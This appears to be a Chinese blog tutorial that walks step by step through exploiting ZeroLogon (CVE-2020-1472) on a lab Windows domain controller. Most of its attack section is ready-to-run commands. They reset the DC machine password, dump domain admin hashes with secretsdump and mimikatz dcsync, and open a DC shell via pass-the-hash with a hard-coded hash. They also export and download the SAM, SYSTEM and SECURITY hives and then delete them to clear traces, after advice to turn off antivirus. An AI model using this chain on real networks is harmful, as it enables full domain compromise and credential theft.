zoukankan      html  css  js  c++  java
  • CVE-2020-1472

    CVE-2020-1472攻击过程

    漏洞介绍

    在今年9月份,国外披露了CVE-2020-1472(又被叫做ZeroLogon)的漏洞详情,网上也随即公开了Exp。是近几年windows上比较重量级别的一个漏洞。通过该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下能拿到域管的权限。该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。CVE-2020-1472来重置域控密码。注意,这里是域控密码,不是域管的密码。是域控这个机器用户的密码。可能对域不是很熟悉的人对这点不是很了解。在域内,机器用户跟域用户一样,是域内的成员,他在域内的用户名是机器用户+$(如DC2016$),在本地的用户名是SYSTEM。在拥有域控的机器用户密码的情况下,并不能直接使用该密码登录域控,因为机器用户是不可以登录的,但是因为域控的机器用户具备Dcsync特权,我们就可以滥用该特权来进行Dcsync

    环境

    攻击机 windows 10

    域控服务器 windows server 2012 192.168.139.147

    python 3.8

    准备工具

    https://github.com/VoidSec/CVE-2020-1472

    https://github.com/maaaaz/impacket-examples-windows 【这是下面包中脚本转成的exe】

    https://github.com/SecureAuthCorp/impacket

    impacket需要使用最新的要用Impacket v0.9.22.dev1+20200915.160006.1397e2b5,并不是release中,或者pip中直接指定的

    建议:git clone https://github.com/SecureAuthCorp/impacket.git

    当然也可以直接

     

    其次如果使用的linux,执行脚本在出现$之类的特殊字符需要转义,我在window下执行,没遇到这个问题

    域和计算机名搞混淆,导致参数填写错误,哪个是域,哪个是计算机名,看下图

     

    关于坑点:

    windows中有python启动器,py -3指定使用python3,防止选错python版本

    安装impacket这步,手动安装,并且把requirements.txt中的impacket==0.9.21这行去掉,不然执行py -3 pip install -r requirements.txt安装其他库时,impacket又装一遍,会覆盖掉最新版

    安装过程:

    先卸载旧版本:

    py -3 -m pip uninstall impacket

    安装新版本:

    git clone https://github.com/SecureAuthCorp/impacket

    cd impacket

    py -3 setup.py install

     

    报错说明

    AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2',属于坑点1,手动安装impacket解决

    secretsdump.py执行后无法获取NTDS.DIT信息,多半是域和计算机名混淆或者出现$未转义,对照坑点计算机名确认

    [-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)多半是域和计算机名混淆或者出现$未转义,对照坑点3的图片,确认下,自己环境中对应的参数填写正确没

    利用

    环境准备就绪以后,运行exp,记得关杀软

    py -3 cve-2020-1472-exploit.py -n DC -t 192.168.1.150

    -n  计算机名

    -t  域控ip

     

    检测到存在漏洞,Y继续清空域控密码

     

    成功之后用刚刚下载的

    impacket-examples-windows

    通过secretsdump.exe dump 域管 hash

    .secretsdump.exe -no-pass -just-dc DC$@192.168.1.150

    -no-pass    无密码登录

    -just-dc    仅提取NTDS.DIT​​数据(NTLM哈希和Kerberos键)

    DC$@192.168.1.150 计算机名$@域控ip

     

    获取域控机器shell 和 导出域控计算机帐户的原始NT哈希

    -hashes 域管理员的nthash:lmhash

    .wmiexec.exe –hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab 

    test.com/administrator@192.168.1.150

    此时会返回一个交互式域控shell

     

    本地保存文件

    reg save HKLMSYSTEM system.save

    reg save HKLMSAM sam.save

    reg save HKLMSECURITY security.save

    下载文件

    get system.save

    get sam.save

    get security.save

    擦屁股

    del /f system.save

    del /f sam.save

    del /f security.save

     

    读取下载的文件计算原本的机器用户密码

    . secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL

     

    随后把密码锤回去,这里使用的值是$MACHINE.ACC:  后的hash

    Py -3 . einstall_original_pw.py DC 192.168.1.150

    aad3b435b51404eeaad3b435b51404ee:5af95711c65a1312605ee044a484fb89

     

    Mimikatz利用方式

    探测是否存在漏洞

    lsadump::zerologon /target:192.168.1.150 /account:DC$

    lsadump::zerologon /target:192.168.1.150 /account:DC$ /exploit 攻击

     

    lsadump::dcsync /domain:test.com /dc:DC /user:Administrator /authuser:DC$ /authdomain:test /authpassword:"" /authntlm

    ----通过dcsync dump域管hash

    提升权限注入会话

    privilege::debug

    sekurlsa::pth /user:Administrator /doamin:. /rc4:570a9a65db8fba761c1008a51d4c95ab

     

    在注入会话的窗口打开mimikatz 恢复机器用户密码 随后可以开始下一步操作

    lsadump::postzerologon /target:192.168.1.150 /account:DC$

     

    参考:

    https://www.t00ls.net/viewthread.php?tid=57866&extra=&highlight=cve-2020-1472&page=1

    https://mp.weixin.qq.com/s/S9Hwb1-lLhh4QfI4b551SQ

    勿做伸手党,勤思考,总能成就一番事业。
  • 相关阅读:
    springboot: 使web项目支持jsp
    springboot: 集成freemark模板引擎
    Springboot的优点和实现
    Spring的两种动态代理:Jdk和Cglib 的区别和实现
    JAVA单例模式:懒汉式,饿汉式
    java的内存管理 对象的分配与释放
    JAVA反射调用方法
    JAVA内置注解 基本注解
    图——图的定义与操作
    树——二叉树的线索化
  • 原文地址:https://www.cnblogs.com/X-caiji/p/13949741.html
Copyright © 2011-2022 走看看